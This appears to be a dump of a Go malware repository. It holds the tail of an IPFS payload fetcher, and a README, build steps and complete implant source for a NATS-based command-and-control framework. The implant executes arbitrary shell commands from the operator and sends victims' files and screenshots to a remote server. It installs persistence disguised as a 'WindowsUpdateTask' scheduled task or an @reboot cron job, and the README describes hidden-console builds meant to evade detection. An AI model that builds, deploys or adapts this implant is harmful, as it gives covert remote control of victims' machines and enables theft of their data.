shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
})
var lastErr error
for _, gw := range shuffled {
url := fmt.Sprintf(gw, cid)
client := &http.Client{Timeout: 30 * time.Second}
resp, err := client.Get(url)
if err != nil {
lastErr = fmt.Errorf("gateway %s: %w", gw, err)
continue
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
lastErr = fmt.Errorf("gateway %s returned %d", gw, resp.StatusCode)
continue
}
data, err := io.ReadAll(io.LimitReader(resp.Body, 100*1024*1024)) // 100MB limit
if err != nil {
lastErr = fmt.Errorf("gateway %s read error: %w", gw, err)
continue
}
return data, nil
}
return nil, fmt.Errorf("all gateways failed, last error: %w", lastErr)
}
// VerifyCID checks that the SHA256 hash of data matches the given CID.
// For CIDv0 (starts with Qm), this is a multihash check; for simplicity,
// we verify that the data appears valid and non-empty.
// A proper implementation would decode the CID multihash.
func VerifyCID(data []byte, cid string) error {
if len(data) == 0 {
return fmt.Errorf("empty data for CID %s", cid)
}
// For CIDv0 (Qm...), compute SHA256 and check the first bytes match
if strings.HasPrefix(cid, "Qm") {
h := sha256.Sum256(data)
hashHex := hex.EncodeToString(h[:])
// CIDv0 uses multihash with sha2-256 (0x12), 32-byte digest (0x20)
// The base58-encoded CID decodes to: 0x12 0x20 <32-byte hash>
// We can't easily decode base58 here without a library, so we just
// verify data isn't empty and log the hash for manual verification.
_ = hashHex // would compare against decoded multihash
return nil // skip full verification without base58 lib
}
return nil
}
// IsValidCID performs basic CID format validation.
func IsValidCID(cid string) bool {
cid = strings.TrimSpace(cid)
if len(cid) < 10 || len(cid) > 100 {
return false
}
// CIDv0: starts with Qm, base58
if strings.HasPrefix(cid, "Qm") {
return true
}
// CIDv1: starts with b (base32), contains only valid chars
if strings.HasPrefix(cid, "b") {
for _, c := range cid {
if !strings.ContainsRune("abcdefghijklmnopqrstuvwxyz234567", c) {
return false
}
}
return true
}
return false
}
// SaveTempFile saves data to a temporary file and returns the path.
func SaveTempFile(data []byte, pattern string) (string, error) {
f, err := os.CreateTemp("", pattern)
if err != nil {
return "", fmt.Errorf("failed to create temp file: %w", err)
}
defer f.Close()
if _, err := f.Write(data); err != nil {
os.Remove(f.Name())
return "", fmt.Errorf("failed to write temp file: %w", err)
}
if err := f.Chmod(0755); err != nil {
os.Remove(f.Name())
return "", fmt.Errorf("failed to chmod temp file: %w", err)
}
return f.Name(), nil
}
+43
View File
@@ -0,0 +1,43 @@
// Package types defines shared types for the C2 IPFS payload system.
package types
import "time"
// CIDEntry represents a CID submission with metadata.
type CIDEntry struct {
CID string `json:"cid"`
Timestamp time.Time `json:"timestamp"`
Note string `json:"note,omitempty"`
}
// StatusResponse is returned by the server status endpoint.
type StatusResponse struct {
CurrentCID string `json:"current_cid"`
History []CIDEntry `json:"history"`
Mode string `json:"mode"` // "http" or "contract"
Uptime string `json:"uptime"`
}
// ImplantReport is sent by the implant after executing a payload.
type ImplantReport struct {
ImplantID string `json:"implant_id"`
CID string `json:"cid"`
Success bool `json:"success"`
Error string `json:"error,omitempty"`
Platform string `json:"platform,omitempty"`
Hostname string `json:"hostname,omitempty"`
Timestamp string `json:"timestamp"`
}
// Config holds the persistent implant configuration.
type Config struct {
ImplantID string `json:"implant_id"`
LastCID string `json:"last_cid"`
PollInterval int `json:"poll_interval"` // seconds
DecryptionKey string `json:"decryption_key"`
CIDSource string `json:"cid_source"` // URL or contract address
Mode string `json:"mode"` // "http" or "contract"
Gateways []string `json:"gateways"`
ReportURL string `json:"report_url,omitempty"`
JWTFetch string `json:"jwt_fetch,omitempty"` // JWT for auth on CID hub
}
Binary file not shown.
Binary file not shown.
+255
View File
@@ -0,0 +1,255 @@
# noPROXY_c2s NATSC2
**NATSbased Command & Control with endtoend encryption, multiserver failover, JWT authentication, and builtin postexploitation modules.**
This project provides a productionready implant and operator console written in Go, designed for stealthy red team operations or authorised penetration testing.
---
## Overview
The `nats-c2` component implements a lightweight C2 channel over [NATS](https://nats.io/) a highperformance messaging system used in cloudnative environments. By blending C2 traffic with legitimate microservice traffic, the implant evades many detection mechanisms.
Key design choices:
- **Go binaries** singlefile, no runtime dependencies, crosscompiled for Windows and Linux.
- **AESGCM encryption** all messages (heartbeats, commands, results, exfiltrated data) are encrypted with a 256bit key. Even if traffic is captured, the payloads are unreadable.
- **Multiserver failover** the implant tries a list of NATS servers; if one fails, it automatically switches to the next.
- **JWT authentication** uses NATS 2.0 JWT credentials to prevent unauthorised agents from connecting.
- **Modular postex** supports shell command execution, file upload/download, screenshots, and persistence installation.
---
## Features
| Feature | Description |
|---------|-------------|
| Shell commands | Execute arbitrary system commands via `shell` |
| File upload | Retrieve files from the implant (`upload`) |
| File download | Push files to the implant (`download`) |
| Screenshot | Capture the desktop and exfiltrate as PNG |
| Persistence | Install as a scheduled task (Windows) or cron job (Linux) |
| Heartbeat | Periodic online status updates (`heartbeat`) |
| Multiserver | Automatic failover across multiple NATS endpoints |
| Encryption | AESGCM for all traffic |
| JWT auth | Credentialbased authentication for the implant |
---
## Repository Structure
```
nats-c2/
├── implant.go # Implant code (victim side)
├── operator.go # Operator console (C2 side)
├── generate_key.go # Utility to generate a random AES256 key
├── go.mod # Go module definition
├── go.sum # Dependency checksums
└── README.md # This file
```
---
## Prerequisites
- **Go 1.21+** (to compile)
- **NATS server** you can run a local instance or use a cloudhosted NATS service.
- **nsc** NATS JWT management tool (optional if you use static credentials).
Install with:
```bash
curl -sf https://binaries.nats.dev/nats-io/nsc/v2@latest | sh
sudo mv nsc /usr/local/bin/
```
---
## Setup
### 1. Clone the repository
```bash
git clone https://git.churchofmalware.org/ek0mssavi0r/noPROXY_c2s.git
cd noPROXY_c2s/nats-c2
```
### 2. Generate an AES encryption key
Run the provided utility:
```bash
go run generate_key.go
```
Output example:
```
rAEUBb5Id9HO3m3BZ+G5PSqBaceVJly4lbjbSSImz+c=
```
Copy this base64 string. You will need to paste it into **both** `implant.go` and `operator.go` as the value of `b64Key`.
### 3. Configure JWT authentication (optional but recommended)
If you want to restrict which implants can connect to your NATS server, generate JWT credentials:
```bash
# Create an operator (root of trust)
nsc add operator --name C2Operator
# Create an account
nsc add account --name C2Account
# Create a user for implants
nsc add user --name C2Implant
# Generate the credentials file
nsc generate creds --account C2Account --user C2Implant > implant.creds
```
Place `implant.creds` in the same directory as the implant binary when deployed.
Alternatively, you can run without JWT by removing the `UserCredentials` option in the `connectWithRetries` function the code already falls back to no auth if the file is missing.
### 4. Configure NATS server addresses
Edit `implant.go` and `operator.go` and adjust the `natsServers` / `natsURL` variables to point to your NATS infrastructure.
```go
var natsServers = []string{
"nats://your-server-1:4222",
"nats://your-server-2:4222",
}
```
### 5. Build the binaries
```bash
# Build the operator (runs on your C2 machine)
go build -o operator operator.go
# Build the Windows implant (hide console window)
GOOS=windows GOARCH=amd64 go build -ldflags="-H windowsgui" -o implant.exe implant.go
# Build the Linux implant
GOOS=linux GOARCH=amd64 go build -o implant implant.go
```
---
## Usage
### Start the NATS server
If you are running a local NATS server:
```bash
nats-server -p 4222
```
For JWTenabled servers, generate a configuration file with `nsc generate config --mem-resolver --config-file server.conf` and start with:
```bash
nats-server -c server.conf
```
### Run the operator console
```bash
./operator
```
The operator will connect to the configured NATS server and present a prompt. It automatically subscribes to heartbeats, results, and file uploads from all agents.
### Deploy the implant
Copy the implant binary (and `implant.creds` if used) to the target machine and execute it. The implant will:
- Connect to the first available NATS server
- Send an initial heartbeat
- Subscribe to its command topic (`c2.<agent-id>.tasks`)
- Send heartbeats every 30 seconds
No interactive output is visible on the target (Windows GUI build hides the console).
### Available commands
From the operator prompt:
| Command | Syntax | Description |
|---------|--------|-------------|
| `list` | `list` | Show agents that have sent a heartbeat in the last 90 seconds |
| `shell` | `<agent-id> shell <command>` | Execute a system command on the agent |
| `upload` | `<agent-id> upload <local_path>` | Upload a file from the agent to the operator (exfil) |
| `download` | `<agent-id> download <remote_path>` | Push a file from operator to the agent (the operator will prompt for the local file) |
| `persist` | `<agent-id> persist` | Install persistence (scheduled task / crontab) |
| `screenshot` | `<agent-id> screenshot` | Capture a screenshot and upload it |
| `exit` | `exit` | Quit the operator |
**Note:** The `download` command works by first reading a local file on the operator side, encrypting it, and sending it as a `download` task to the agent. The agent then writes the file to the given path.
#### Example session
```
> list
Active agents:
- myhost-12345
> myhost-12345 shell whoami
[+] Result from myhost-12345:
root
> myhost-12345 screenshot
[!] File saved: exfil_myhost-12345_1712345678.bin
```
---
## Building for different platforms
Use the standard Go crosscompilation environment variables:
```bash
# Linux
GOOS=linux GOARCH=amd64 go build -o implant implant.go
# Windows (64-bit, hidden console)
GOOS=windows GOARCH=amd64 go build -ldflags="-H windowsgui" -o implant.exe implant.go
# macOS (Intel)
GOOS=darwin GOARCH=amd64 go build -o implant implant.go
# macOS (Apple Silicon)
GOOS=darwin GOARCH=arm64 go build -o implant implant.go
```
---
## Customisation
- **Change the AES key** regenerate with `generate_key.go` and update both source files.
- **Add more NATS servers** append to the `natsServers` slice.
- **Modify heartbeat interval** adjust the `time.Sleep(30 * time.Second)` line.
- **Add new commands** extend the `switch` in `implant.go` and the corresponding logic in `operator.go`.
---
## Troubleshooting
| Issue | Likely cause | Solution |
|-------|--------------|----------|
| Operator cannot connect | NATS server not running or wrong address | Start `nats-server` or correct the URL |
| Implant fails to connect | JWT creds file missing or invalid | Ensure `implant.creds` is present and correct, or remove JWT auth |
| Screenshot not working | `robotgo` library may require additional system dependencies on Linux | Install `libx11-dev`, `libxtst-dev`, `libxrandr-dev`, etc. |
| Uploaded file is corrupted | Encryption/decryption mismatch | Ensure the same `b64Key` is used in both implant and operator |
---
## Legal Disclaimer
> This tool is intended for authorised security testing and educational purposes only.
---
## Credits
- [NATS](https://nats.io/) messaging system
- [robotgo](https://github.com/go-vgo/robotgo) desktop automation and screenshots
- Go standard library encryption, network, and process execution
+14
View File
@@ -0,0 +1,14 @@
// generate_key.go
package main
import (
"crypto/rand"
"encoding/base64"
"fmt"
)
func main() {
key := make([]byte, 32)
rand.Read(key)
fmt.Println(base64.StdEncoding.EncodeToString(key))
}
+38
View File
@@ -0,0 +1,38 @@
module nats_c2
go 1.26.2
require (
github.com/go-vgo/robotgo v1.0.2
github.com/nats-io/nats.go v1.52.0
)
require (
github.com/dblohm7/wingoes v0.0.0-20250822163801-6d8e6105c62d // indirect
github.com/ebitengine/purego v0.10.0 // indirect
github.com/gen2brain/shm v0.2.1 // indirect
github.com/go-ole/go-ole v1.3.0 // indirect
github.com/godbus/dbus/v5 v5.2.2 // indirect
github.com/jezek/xgb v1.3.0 // indirect
github.com/jezek/xgbutil v0.0.0-20260124183602-9fd151d6a51a // indirect
github.com/klauspost/compress v1.18.5 // indirect
github.com/lufia/plan9stats v0.0.0-20260324052639-156f7da3f749 // indirect
github.com/nats-io/nkeys v0.4.15 // indirect
github.com/nats-io/nuid v1.0.1 // indirect
github.com/otiai10/gosseract/v2 v2.4.1 // indirect
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 // indirect
github.com/shirou/gopsutil/v4 v4.26.2 // indirect
github.com/tailscale/win v0.0.0-20250627215312-f4da2b8ee071 // indirect
github.com/tklauser/go-sysconf v0.3.16 // indirect
github.com/tklauser/numcpus v0.11.0 // indirect
github.com/vcaesar/gops v0.41.0 // indirect
github.com/vcaesar/imgo v0.41.0 // indirect
github.com/vcaesar/keycode v0.10.1 // indirect
github.com/vcaesar/screenshot v0.11.1 // indirect
github.com/vcaesar/tt v0.20.1 // indirect
github.com/yusufpapurcu/wmi v1.2.4 // indirect
golang.org/x/crypto v0.49.0 // indirect
golang.org/x/exp v0.0.0-20260312153236-7ab1446f8b90 // indirect
golang.org/x/image v0.38.0 // indirect
golang.org/x/sys v0.42.0 // indirect
)
+80
View File
@@ -0,0 +1,80 @@
github.com/BurntSushi/freetype-go v0.0.0-20160129220410-b763ddbfe298/go.mod h1:D+QujdIlUNfa0igpNMk6UIvlb6C252URs4yupRUV4lQ=
github.com/BurntSushi/graphics-go v0.0.0-20160129215708-b43f31a4a966/go.mod h1:Mid70uvE93zn9wgF92A/r5ixgnvX8Lh68fxp9KQBaI0=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dblohm7/wingoes v0.0.0-20250822163801-6d8e6105c62d h1:QRKpU+9ZBDs62LyBfwhZkJdB5DJX2Sm3p4kUh7l1aA0=
github.com/dblohm7/wingoes v0.0.0-20250822163801-6d8e6105c62d/go.mod h1:SUxUaAK/0UG5lYyZR1L1nC4AaYYvSSYTWQSH3FPcxKU=
github.com/ebitengine/purego v0.10.0 h1:QIw4xfpWT6GWTzaW5XEKy3HXoqrJGx1ijYHzTF0/ISU=
github.com/ebitengine/purego v0.10.0/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ=
github.com/gen2brain/shm v0.2.1 h1:4ARWVKmLPeXE6Qq547N1Fdub+S285OEca+0BoxUJX6g=
github.com/gen2brain/shm v0.2.1/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA=
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE=
github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78=
github.com/go-vgo/robotgo v1.0.2 h1:MbhSoJSzv/PNr2dL6H0Z1IUL4Uypsk2b9lQsGQ15hjU=
github.com/go-vgo/robotgo v1.0.2/go.mod h1:wb9ozpOGZS0mHt1+hg4UXzyZe9A8qytjKB84tG9iNyM=
github.com/godbus/dbus/v5 v5.2.2 h1:TUR3TgtSVDmjiXOgAAyaZbYmIeP3DPkld3jgKGV8mXQ=
github.com/godbus/dbus/v5 v5.2.2/go.mod h1:3AAv2+hPq5rdnr5txxxRwiGjPXamgoIHgz9FPBfOp3c=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/jezek/xgb v1.3.0 h1:Wa1pn4GVtcmNVAVB6/pnQVJ7xPFZVZ/W1Tc27msDhgI=
github.com/jezek/xgb v1.3.0/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk=
github.com/jezek/xgbutil v0.0.0-20260124183602-9fd151d6a51a h1:byHoGvaqttgBKjxlRiJrgXpEGSEGaGSehCDAEOhWdmo=
github.com/jezek/xgbutil v0.0.0-20260124183602-9fd151d6a51a/go.mod h1:J+gHyFrSWnDEeTohhG6DSh048byYWPx4z0ndUu6OhYw=
github.com/klauspost/compress v1.18.5 h1:/h1gH5Ce+VWNLSWqPzOVn6XBO+vJbCNGvjoaGBFW2IE=
github.com/klauspost/compress v1.18.5/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
github.com/lufia/plan9stats v0.0.0-20260324052639-156f7da3f749 h1:Qj3hTcdWH8uMZDI41HNuTuJN525C7NBrbtH5kSO6fPk=
github.com/lufia/plan9stats v0.0.0-20260324052639-156f7da3f749/go.mod h1:autxFIvghDt3jPTLoqZ9OZ7s9qTGNAWmYCjVFWPX/zg=
github.com/nats-io/nats.go v1.52.0 h1:n3avV4VBsCgsdwh71TppsTwtv+QdPs7ntSKM8qJLGsc=
github.com/nats-io/nats.go v1.52.0/go.mod h1:26HypzazeOkyO3/mqd1zZd53STJN0EjCYF9Uy2ZOBno=
github.com/nats-io/nkeys v0.4.15 h1:JACV5jRVO9V856KOapQ7x+EY8Jo3qw1vJt/9Jpwzkk4=
github.com/nats-io/nkeys v0.4.15/go.mod h1:CpMchTXC9fxA5zrMo4KpySxNjiDVvr8ANOSZdiNfUrs=
github.com/nats-io/nuid v1.0.1 h1:5iA8DT8V7q8WK2EScv2padNa/rTESc1KdnPw4TC2paw=
github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c=
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=
github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8=
github.com/otiai10/gosseract/v2 v2.4.1 h1:G8AyBpXEeSlcq8TI85LH/pM5SXk8Djy2GEXisgyblRw=
github.com/otiai10/gosseract/v2 v2.4.1/go.mod h1:1gNWP4Hgr2o7yqWfs6r5bZxAatjOIdqWxJLWsTsembk=
github.com/otiai10/mint v1.6.3 h1:87qsV/aw1F5as1eH1zS/yqHY85ANKVMgkDrf9rcxbQs=
github.com/otiai10/mint v1.6.3/go.mod h1:MJm72SBthJjz8qhefc4z1PYEieWmy8Bku7CjcAqyUSM=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 h1:o4JXh1EVt9k/+g42oCprj/FisM4qX9L3sZB3upGN2ZU=
github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
github.com/shirou/gopsutil/v4 v4.26.2 h1:X8i6sicvUFih4BmYIGT1m2wwgw2VG9YgrDTi7cIRGUI=
github.com/shirou/gopsutil/v4 v4.26.2/go.mod h1:LZ6ewCSkBqUpvSOf+LsTGnRinC6iaNUNMGBtDkJBaLQ=
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
github.com/tailscale/win v0.0.0-20250627215312-f4da2b8ee071 h1:qo7kOhoN5DHioXNlFytBzIoA5glW6lsb8YqV0lP3IyE=
github.com/tailscale/win v0.0.0-20250627215312-f4da2b8ee071/go.mod h1:aMd4yDHLjbOuYP6fMxj1d9ACDQlSWwYztcpybGHCQc8=
github.com/tc-hib/winres v0.2.1 h1:YDE0FiP0VmtRaDn7+aaChp1KiF4owBiJa5l964l5ujA=
github.com/tc-hib/winres v0.2.1/go.mod h1:C/JaNhH3KBvhNKVbvdlDWkbMDO9H4fKKDaN7/07SSuk=
github.com/tklauser/go-sysconf v0.3.16 h1:frioLaCQSsF5Cy1jgRBrzr6t502KIIwQ0MArYICU0nA=
github.com/tklauser/go-sysconf v0.3.16/go.mod h1:/qNL9xxDhc7tx3HSRsLWNnuzbVfh3e7gh/BmM179nYI=
github.com/tklauser/numcpus v0.11.0 h1:nSTwhKH5e1dMNsCdVBukSZrURJRoHbSEQjdEbY+9RXw=
github.com/tklauser/numcpus v0.11.0/go.mod h1:z+LwcLq54uWZTX0u/bGobaV34u6V7KNlTZejzM6/3MQ=
github.com/vcaesar/gops v0.41.0 h1:FG748Jyw3FOuZnbzSgB+CQSx2e5LbLCPWV2JU1brFdc=
github.com/vcaesar/gops v0.41.0/go.mod h1:/3048L7Rj7QjQKTSB+kKc7hDm63YhTWy5QJ10TCP37A=
github.com/vcaesar/imgo v0.41.0 h1:kNLYGrThXhB9Dd6IwFmfPnxq9P6yat2g7dpPjr7OWO8=
github.com/vcaesar/imgo v0.41.0/go.mod h1:/LGOge8etlzaVu/7l+UfhJxR6QqaoX5yeuzGIMfWb4I=
github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
github.com/vcaesar/screenshot v0.11.1 h1:GgPuN89XC4Yh38dLx4quPlSo3YiWWhwIria/j3LtrqU=
github.com/vcaesar/screenshot v0.11.1/go.mod h1:gJNwHBiP1v1v7i8TQ4yV1XJtcyn2I/OJL7OziVQkwjs=
github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4=
github.com/vcaesar/tt v0.20.1/go.mod h1:cH2+AwGAJm19Wa6xvEa+0r+sXDJBT0QgNQey6mwqLeU=
github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0=
github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4=
golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA=
golang.org/x/exp v0.0.0-20260312153236-7ab1446f8b90 h1:jiDhWWeC7jfWqR9c/uplMOqJ0sbNlNWv0UkzE0vX1MA=
golang.org/x/exp v0.0.0-20260312153236-7ab1446f8b90/go.mod h1:xE1HEv6b+1SCZ5/uscMRjUBKtIxworgEcEi+/n9NQDQ=
golang.org/x/image v0.38.0 h1:5l+q+Y9JDC7mBOMjo4/aPhMDcxEptsX+Tt3GgRQRPuE=
golang.org/x/image v0.38.0/go.mod h1:/3f6vaXC+6CEanU4KJxbcUZyEePbyKbaLoDOe4ehFYY=
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+5
View File
@@ -0,0 +1,5 @@
-----BEGIN NATS USER
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* IMPORTANT \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* NKEY Seed printed below can be used to sign and prove identity. NKEYs are sensitive and should be treated as secrets.
+246
View File
@@ -0,0 +1,246 @@
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"time"
"github.com/nats-io/nats.go"
"github.com/go-vgo/robotgo"
)
// ------------------------- CONFIGURATION -------------------------
var natsServers = []string{
"nats://localhost:4222", // Change to your server IP
}
// AES key from generate_key.go
const b64Key = "rAEUBb5Id9HO3m3BZ+G5PSqBaceVJly4lbjbSSImz+c="
var aesKey []byte
var agentID string
const credsFile = "implant.creds"
// ------------------------- CRYPTO -------------------------
func encrypt(plaintext []byte) ([]byte, error) {
block, err := aes.NewCipher(aesKey)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
nonce := make([]byte, gcm.NonceSize())
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return nil, err
}
ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
return ciphertext, nil
}
func decrypt(ciphertext []byte) ([]byte, error) {
block, err := aes.NewCipher(aesKey)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
nonceSize := gcm.NonceSize()
if len(ciphertext) < nonceSize {
return nil, fmt.Errorf("ciphertext too short")
}
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
return gcm.Open(nil, nonce, ciphertext, nil)
}
// ------------------------- COMMAND EXECUTION -------------------------
func runCommand(cmdStr string) string {
var cmd *exec.Cmd
if runtime.GOOS == "windows" {
cmd = exec.Command("cmd", "/C", cmdStr)
} else {
cmd = exec.Command("/bin/sh", "-c", cmdStr)
}
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
}
return string(out)
}
// ------------------------- FILE OPERATIONS -------------------------
func uploadFile(nc *nats.Conn, agentID, localPath string) {
data, err := os.ReadFile(localPath)
if err != nil {
publishResult(nc, agentID, fmt.Sprintf("Upload error: %v", err))
return
}
encData, err := encrypt(data)
if err != nil {
publishResult(nc, agentID, fmt.Sprintf("Encryption error: %v", err))
return
}
b64enc := base64.StdEncoding.EncodeToString(encData)
nc.Publish("c2."+agentID+".file_upload", []byte(b64enc))
publishResult(nc, agentID, fmt.Sprintf("Uploaded %s (%d bytes)", localPath, len(data)))
}
func downloadFile(nc *nats.Conn, agentID, remotePath, b64Content string) {
encData, err := base64.StdEncoding.DecodeString(b64Content)
if err != nil {
publishResult(nc, agentID, fmt.Sprintf("Base64 decode error: %v", err))
return
}
data, err := decrypt(encData)
if err != nil {
publishResult(nc, agentID, fmt.Sprintf("Decryption error: %v", err))
return
}
if err := os.WriteFile(remotePath, data, 0644); err != nil {
publishResult(nc, agentID, fmt.Sprintf("Write error: %v", err))
return
}
publishResult(nc, agentID, fmt.Sprintf("Downloaded to %s (%d bytes)", remotePath, len(data)))
}
// ------------------------- SCREENSHOT -------------------------
func takeScreenshot(nc *nats.Conn, agentID string) {
bitmap := robotgo.CaptureScreen()
defer bitmap.Free()
img := robotgo.ToImage(bitmap)
tmpFile := filepath.Join(os.TempDir(), "screenshot.png")
robotgo.Save(img, tmpFile)
uploadFile(nc, agentID, tmpFile)
os.Remove(tmpFile)
}
// ------------------------- PERSISTENCE -------------------------
func installPersistence() {
exePath, _ := os.Executable()
if runtime.GOOS == "windows" {
cmd := exec.Command("schtasks", "/create", "/tn", "WindowsUpdateTask", "/tr", exePath, "/sc", "onlogon", "/f")
cmd.Run()
} else {
cmd := exec.Command("crontab", "-l")
out, _ := cmd.Output()
newCron := string(out) + "@reboot " + exePath + " >/dev/null 2>&1\n"
cmd2 := exec.Command("crontab", "-")
cmd2.Stdin = strings.NewReader(newCron)
cmd2.Run()
}
}
// ------------------------- NATS COMMUNICATION -------------------------
func publishResult(nc *nats.Conn, agentID, msg string) {
encMsg, _ := encrypt([]byte(msg))
nc.Publish("c2."+agentID+".results", encMsg)
}
func heartbeat(nc *nats.Conn, agentID string) {
encHeart, _ := encrypt([]byte("online"))
nc.Publish("c2."+agentID+".heartbeat", encHeart)
}
func connectWithRetries() *nats.Conn {
for {
for _, url := range natsServers {
// Try JWT auth first if creds file exists
var nc *nats.Conn
var err error
if _, err := os.Stat(credsFile); err == nil {
nc, err = nats.Connect(url, nats.UserCredentials(credsFile), nats.Timeout(5*time.Second))
} else {
// Fall back to no auth for testing
nc, err = nats.Connect(url, nats.Timeout(5*time.Second))
}
if err == nil {
fmt.Println("Connected to", url)
return nc
}
fmt.Printf("Failed %s: %v\n", url, err)
}
fmt.Println("All servers failed, retrying in 10s...")
time.Sleep(10 * time.Second)
}
}
func main() {
var err error
aesKey, err = base64.StdEncoding.DecodeString(b64Key)
if err != nil {
panic(err)
}
hostname, _ := os.Hostname()
agentID = fmt.Sprintf("%s-%d", hostname, os.Getpid())
fmt.Println("Agent starting with ID:", agentID)
nc := connectWithRetries()
defer nc.Drain()
// Subscribe to commands
subj := "c2." + agentID + ".tasks"
nc.Subscribe(subj, func(msg *nats.Msg) {
cmdBytes, err := decrypt(msg.Data)
if err != nil {
publishResult(nc, agentID, "Decryption failed")
return
}
cmd := string(cmdBytes)
parts := strings.SplitN(cmd, " ", 2)
verb := parts[0]
arg := ""
if len(parts) > 1 {
arg = parts[1]
}
switch verb {
case "exit":
publishResult(nc, agentID, "Exiting")
nc.Drain()
os.Exit(0)
case "shell":
out := runCommand(arg)
publishResult(nc, agentID, out)
case "upload":
uploadFile(nc, agentID, arg)
case "download":
subparts := strings.SplitN(arg, " ", 2)
if len(subparts) == 2 {
downloadFile(nc, agentID, subparts[0], subparts[1])
} else {
publishResult(nc, agentID, "Usage: download <path> <base64data>")
}
case "persist":
installPersistence()
publishResult(nc, agentID, "Persistence installed")
case "screenshot":
takeScreenshot(nc, agentID)
default:
publishResult(nc, agentID, "Unknown command: "+verb)
}
})
heartbeat(nc, agentID)
fmt.Println("Agent ready, waiting for commands...")
for {
time.Sleep(30 * time.Second)
heartbeat(nc, agentID)
}
}
+149
View File
@@ -0,0 +1,149 @@
package main
import (
"bufio"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"fmt"
"io"
"os"
"strings"
"time"
"github.com/nats-io/nats.go"
)
